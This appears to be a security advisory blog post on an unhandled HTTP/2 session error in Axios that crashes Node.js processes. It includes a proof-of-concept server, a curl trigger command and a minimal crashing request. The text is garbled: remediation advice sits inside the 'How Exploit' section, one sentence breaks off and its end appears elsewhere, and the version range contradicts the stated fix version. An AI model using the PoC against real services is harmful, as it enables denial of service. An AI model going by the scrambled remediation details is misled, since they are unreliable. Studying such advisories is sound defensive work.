Listen to this Post
Axios is a promise-based HTTP client for Node.js and browsers. Versions 1.13.0 through 1.20.0 support HTTP/2 via the Node.js HTTP adapter. When a request uses httpVersion: 2, Axios creates or reuses a `ClientHttp2Session` through Http2Sessions.getSession(). This method calls `http2.connect(authority, options)` but registers only a `close` handler on the returned session. It fails to register an `error` handler. When the `ClientHttp2Session` emits an `error` event—such as ECONNREFUSED, protocol violations, or connection resets—Node.js treats it as an unhandled `EventEmitter` error. This bypasses the normal axios Promise rejection path and throws an uncaught exception. The uncaught exception terminates the entire Node.js process, causing a denial of service. An attacker who can influence the request destination, or operate the destination server, can trigger this condition. A malicious, unavailable, or non-HTTP/2 endpoint is sufficient to cause the crash. The vulnerability does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable HTTP/2 support. Caller-controlled `http2Options` can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior. The original report by RelunSec demonstrates a server that creates an axios instance with `httpVersion: 2` and a unique `http2Options` id. After approximately 100 unique ids, subsequent requests cause the process to crash with an uncaught session error. The server uses proper try-catch blocks, but the axios internal error bypasses them. The fix is available in Axios 1.20.0, which adds adequate error handling for HTTP/2 sessions. Upgrading to version 1.20.0 is the primary remediation strategy.
DailyCVE Form:
Platform: Node.js Axios
Version: 1.13.0 to 1.20.0
Vulnerability : Unhandled HTTP/2 error
Severity: High (CVSS 8.2)
date: 2026-09-28
Prediction: Patch in 1.20.0 (2026-08-19)
What Undercode Say:
PoC server (server.cjs)
const http = require('http');
const axios = require('../../lib/axios.js').default;
const url = require('url');
const TARGET_URL = 'https://nghttp2.org/';
const PORT = 3000;
const server = http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const http2optionId = parsedUrl.query.http2optionId;
if (!http2optionId) {
res.writeHead(400, { 'Content-Type': 'text/plain' });
res.end('Error: Missing http2optionId query parameter.\n');
return;
}
const axiosInstance = axios.create({
baseURL: TARGET_URL,
httpVersion: 2,
http2Options: {
id: http2optionId,
},
timeout: 5000
});
try {
const response = await axiosInstance.get('/');
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(<code>Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}</code>);
} catch (error) {
if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(<code>Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}</code>);
} else {
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(<code>Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}</code>);
}
}
});
server.listen(PORT, () => {
console.log(<code>PoC Server listening on http://localhost:${PORT}`);
});
Trigger command curl http://127.0.0.1:3000/?http2optionId=hi Output: curl: (52) Empty reply from server
// Vulnerable axios request
import axios from './index.js';
await axios.get('http://127.0.0.1:1/', {
httpVersion: 2,
timeout: 1000
});
// Expected vulnerable behavior: process exits with an uncaught ECONNREFUSED session error
<h2 class=”f1b-anim” style=”color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold”>How Exploit: (Educational Purposes!)</h2>
An attacker sends requests to an application endpoint that forwards user-controlled values intohttp2Options.id. Each unique `id` creates a new HTTP/2 session. When the session emits an error—such as connecting to an unavailable or non-HTTP/2 endpoint—the unhandled `error` event crashes the Node.js process. Repeating this with different `id` values causes repeated crashes, leading to denial of service. No complex exploitation is required; merely inducing a session error is sufficient.http2Options`; axios config is trusted application input. Register a `process.on(‘uncaughtException’)` handler to log the error and prevent the process from exiting. Wrap all axios calls using `httpVersion: 2` in explicit try-catch or `.catch()` logic.
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Protection: from this CVE</h2>
Upgrade Axios to version 1.20.0 or later. Disable HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter. Avoid passing attacker-controlled values into
Impact:
Denial of service. The uncaught error terminates the Node.js process, rendering the service unavailable until manual restart. This affects availability and can be triggered remotely by an attacker who can influence the request destination or operate the destination server.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

